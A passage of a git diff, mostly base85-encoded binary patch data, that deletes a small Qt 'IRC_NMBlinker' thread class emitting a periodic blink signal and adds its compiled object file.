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 literal 0 HcmV?d00001 diff --git a/irc_nmblinker.cpp b/irc_nmblinker.cpp deleted file mode 100644 index 0391f43..0000000 --- a/irc_nmblinker.cpp +++ /dev/null @@ -1,16 +0,0 @@ -#include "irc_nmblinker.h" -#include "nesca_3.h" - -void IRC_NMBlinker::doEmitBlinkMessage() -{ - emit irc_nmb->sBlinkMessage(); -}; - -void IRC_NMBlinker::run() -{ - while(widgetIsHidden == false && disableBlink == false && tray->isVisible() == false) - { - irc_nmb->doEmitBlinkMessage(); - msleep(500); - }; -}; diff --git a/irc_nmblinker.h b/irc_nmblinker.h deleted file mode 100644 index 180776f..0000000 --- a/irc_nmblinker.h +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef IRC_NMBLINKER_H -#define IRC_NMBLINKER_H - -#include "nesca_3.h" - -class IRC_NMBlinker : public QThread -{ - Q_OBJECT - -public: - static void doEmitBlinkMessage(); - -public: signals: void sBlinkMessage(); - -protected: - void run(); -}; -extern IRC_NMBlinker *irc_nmb; - -#endif // IRC_NMBLINKER_H diff --git a/irc_nmblinker.o b/irc_nmblinker.o new file mode 100644 index 0000000000000000000000000000000000000000..886c5b117f1b3a493e4d723616db676e9d61f76b GIT binary patch literal 3040 zcmbuB&2Jk;6u`%Epr#31Q@#QP;YuxX5n06~O<f8ocH(5MxGs$ygaUN5_D<?my=!ZC zU6M)&OF>*rq#VnU8-D^fihwg$PF0T}fm9?82qBgCW@nnobS)wAq}_S%H}AcfH@h>t zpH^zC6R8xDk|OVrLrYRZ@)L*p5?7Z<mOM$U(PL;?qvEgF9+aA!)@T;h#_$tD2GiE) zWweHuNHq1qN2L$H-#+om3L&-8S;Pm`(OYMJLG80UgL{X`IQsTam<iW-s_!tzPdo<( z#A5Bgjf%DRTZVgDquAbmmgD{NaqkZqK0P#qtSv9Unai)$H_zo3%%VA;dt<J!Fn6&~ z$mKVfle6q7=Cc>hVZ<{cEOl#xq;|5YQ`5&X2Qa-X@Rvm23DGV<J16vQY|BRWi;0pk z^Lg4ba(k1F<Hk(M$d--F+SDzng4+yS9rOn=@wRScuNfKC0ED|<WVfJ=g1GHSEnr>S zjMz>@OvjFFVz$DNm=7sL*g-Vt3*`E4MC~B3cZu2Vc^>m2&hJIcgvFQz-}VjR$vSj9 zuss$};Q!ro5RUKF<64>}Vc*m^uB$4iz?f8l&}WXv%Fn_!pv7^-s_`|&u2%(5qoK$* zims~qSg%7T<{TG~W2&OZFG6Qh{dYtVf8I(0z5W99={eE;zNr5|#A5xpBlY^Lz_3rB z|9xO6(m%EywO61cY5d_-9D(mH3XX9ME}2jAO<-9699*jWB@BLKC>?S=WqS?!q^`J; zvq><)Hxx`c#(0{%h#zw6@FwRki4RIr{kKK^mT<)S5y^O2|5L#9wa1XJ#rSYm9ud7P zwDq}TKwfO9zUag=Xc{hk{3n1VjelD>4z&R_6QYv^{U*sD50ZM*iBAmYku($JNh^$; ze`Age@ibTy3O7aXI<zSzk6K5XznMqUa3f8`Cepgn{7GsM%rwE(JStmYo>c0U--12h z`d-G!FURn&#_%73V}6;7e^-Fr9pnG|82<Mdjt@}g2KAwwh6POGi(`0w4Btkc@B)Wp z{D~X1sqeMAu786CX1m`fbgg!!T&htT4qCKI=~lfkU)@-y^~>eht59@$70->hd6|Ww zeVtWq61vrhYDG%j9)9}3{I79hyeq4#jY^X?OXXUH%6TQFnGYWsSs!XX82B)yk6q_F zi>jgJIu7%R<A!#t%Xl=2@XHL7TrZrz+Sm;v<~4y-+dcoH8@}g;E_m{)>KCpyI{~wu zMKA0!)~|RN)`*I3FQhFyWD8ZOcexNd>wJZC>V!Sov3;k@2&L^Eo7(Ur0jnf;D8A`< zrv39EmgmHqfgH~?$<HYKq{1&L9QUmBuLzDi9{;T*e^+pQ-1ilK+*{JWrEvV^lUy9j z{3KBQWnK6x;@Hw3&rB3#Sfk`PXB3>z^KeQ2B0><%gJ-<trxAka`Cp4M&;J7G(qCYH 